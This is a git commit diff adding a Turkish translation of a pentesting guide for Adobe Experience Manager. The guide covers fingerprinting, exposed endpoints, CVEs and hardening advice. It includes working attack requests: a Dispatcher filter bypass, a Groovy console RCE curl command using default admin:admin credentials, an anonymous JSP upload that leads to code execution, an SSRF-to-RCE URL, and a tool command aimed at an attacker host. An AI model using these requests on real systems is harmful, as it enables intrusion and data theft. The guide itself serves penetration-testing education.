Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex

This commit is contained in:
Translator 2025-07-30 12:13:56 +00:00
parent 4f0abe05cb
commit a8fd931d06

View File

@ -1,5 +1,117 @@
{{#include ../../banners/hacktricks-training.md}}
Güvenlik açıklarını ve yanlış yapılandırmaları [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) ile bulun.
# AEM (Adobe Experience Manager) Pentesting
{{#include ../../banners/hacktricks-training.md}}
> Adobe Experience Manager (AEM, Adobe Experience Cloud'ın bir parçası) Apache Sling/Felix (OSGi) ve bir Java İçerik Deposu (JCR) üzerinde çalışan bir kurumsal CMS'dir.
> Bir saldırgan perspektifinden AEM örnekleri genellikle tehlikeli geliştirme uç noktalarını, zayıf Dispatcher kurallarını, varsayılan kimlik bilgilerini ve her çeyrekte yamanan uzun bir CVE listesini açığa çıkarır.
Aşağıdaki kontrol listesi, gerçek etkileşimlerde (2022-2025) sürekli olarak ortaya çıkan **dışarıdan erişilebilir (kimlik doğrulamasız) saldırı yüzeyine** odaklanmaktadır.
---
## 1. Fingerprinting
```
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
Diğer hızlı göstergeler:
* `/etc.clientlibs/` statik yolu mevcut (JS/CSS döner).
* `/libs/granite/core/content/login.html` “Adobe Experience Manager” afişi ile giriş sayfası.
* `</script><!--/* CQ */-->` HTML'nin altında yorum.
---
## 2. Yüksek değerli kimlik doğrulamasız uç noktalar
Path | Ne elde edersiniz | Notlar
---- | ------------- | -----
`/.json`, `/.1.json` | JCR düğümleri aracılığıyla **DefaultGetServlet** | Genellikle engellenir, ancak *Dispatcher bypass* (aşağıya bakın) çalışır.
`/bin/querybuilder.json?path=/` | QueryBuilder API | Sayfa ağacı, iç yollar, kullanıcı adları sızıntısı.
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konsolu | Varsayılan olarak 403; eğer açığa çıkmışsa ve kimlik bilgileri bulunursa ⇒ bundle-upload RCE.
`/crx/packmgr/index.jsp` | Paket Yöneticisi | Kimlik doğrulaması yapılmış içerik paketlerine izin verir → JSP yükleme.
`/etc/groovyconsole/**` | AEM Groovy Konsolu | Eğer açığa çıkmışsa → keyfi Groovy / Java yürütme.
`/libs/cq/AuditlogSearchServlet.json` | Denetim günlükleri | Bilgi ifşası.
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dökümü | XSS vektörü.
### Dispatcher bypass hilesi
Çoğu üretim sitesi *Dispatcher* (ters proxy) arkasında yer alır. Filtre kuralları, izin verilen bir statik uzantıyı **bir noktalı virgülden veya kodlanmış yeni satırdan sonra ekleyerek** atlatılabilir:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
Tek bir istek yukarıda sıklıkla kullanıcı profil düğümlerini e-posta adresleriyle açığa çıkarır. P-T Partners bu zayıflık hakkında iyi bir rehber yayınladı. 【】
---
## 3. Yaygın yanlış yapılandırmalar (2025'te hala mevcut)
1. **Anonim POST servlet** `POST /.json` ile `:operation=import` yeni JCR düğümleri oluşturmanıza izin verir. Dispatcher'da `*.json` POST'u engellemek bunu düzeltir. 【】
2. **Herkese açık kullanıcı profilleri** varsayılan ACL, `/home/users/**/profile/*` üzerinde `jcr:read` iznini herkese verir.
3. **Varsayılan kimlik bilgileri** `admin:admin`, `author:author`, `replication:replication`.
4. **WCMDebugFilter** etkin ⇒ `?debug=layout` üzerinden yansıtılan XSS (CVE-2016-7882, hala eski 6.4 kurulumlarında bulunuyor).
5. **Groovy Konsolu açığa çıktı** bir Groovy betiği göndererek uzaktan kod yürütme:
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
```
---
## 4. Son zamanlardaki güvenlik açıkları (hizmet paketi döngüsü)
Çeyrek | CVE | Etkilenen | Etki
------- | --- | -------- | ------
Aralık 2024 | **CVE-2024-43711** | 6.5.21 ve öncesi | Yanlış giriş doğrulaması**Rastgele kod yürütme** (düşük ayrıcalıklı kimlik doğrulama gerektirir). 【】
Aralık 2024 | CVE-2024-43724/26 | 6.5.21 ve öncesi | DOM / Saklanan XSS Move Page Wizard'da. 【】
Aralık 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | Özel URL aracılığıyla DOM tabanlı XSS. 【】
Aralık 2022 | CVE-2022-30683 | ≤ 6.5.13 | Kripto tasarım hatası → gizli şifre çözme (düşük ayrıcalıklı kimlik bilgileri gerektirir). 【】
Her zaman müşterinin hizmet paketiyle eşleşen *APSB* bültenini kontrol edin ve en son **6.5.22** veya *Cloud Service 2024.11* talep edin.
---
## 5. Sömürü parçaları
### 5.1 Dispatcher atlatma + JSP yükleme ile RCE
Eğer anonim yazma mümkünse:
```
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
```
Şimdi `/content/evil.jsp` isteği yapın JSP, AEM işlem kullanıcısı ile çalışır.
### 5.2 SSRF'den RCE'ye (tarihi < 6.3)
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
**aem-hacker**'dan `aem_ssrf2rce.py` tam zinciri otomatikleştirir. 【】
---
## 6. Araçlar
* **aem-hacker** İsviçre çakısı benzeri sayım scripti, dispatcher atlatma, SSRF tespiti, varsayılan kimlik bilgileri kontrolleri ve daha fazlasını destekler.
```bash
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **İçerik Brute-force** gizli bileşenleri keşfetmek için `/_jcr_content.(json|html)` isteğini yinelemeli olarak yapın.
* **osgi-infect** kimlik bilgileri mevcutsa `/system/console/bundles` üzerinden kötü niyetli OSGi paketi yükleyin.
---
## 7. Güçlendirme kontrol listesi (raporunuzun önerileri için)
1. Örneği **en son toplu hizmet paketinde** tutun (Temmuz 2025 itibarıyla: 6.5.22).
2. Varsayılan hesapları kaldırın/değiştirin; SSO/SAML'yi zorlayın.
3. **Dispatcher filtrelerini** sıkılaştırın anonim kullanıcılar için `;`, kodlanmış yeni satırlar ve `*.json` veya `*.querybuilder.json`'ı reddedin.
4. Konsolları (`/system/console`, `/crx/*`, `/etc/groovyconsole`) IP izin listeleri ile devre dışı bırakın veya koruyun.
5. Adobe tarafından gönderilen *Anonim İzin Güçlendirme* paketini uygulayın.
## Referanslar
* Adobe Güvenlik Bülteni APSB24-69 “Adobe Experience Manager için güvenlik güncellemeleri (Aralık 2024)”.
* 0ang3el aem-hacker aracı (GitHub).
{{#include ../../banners/hacktricks-training.md}}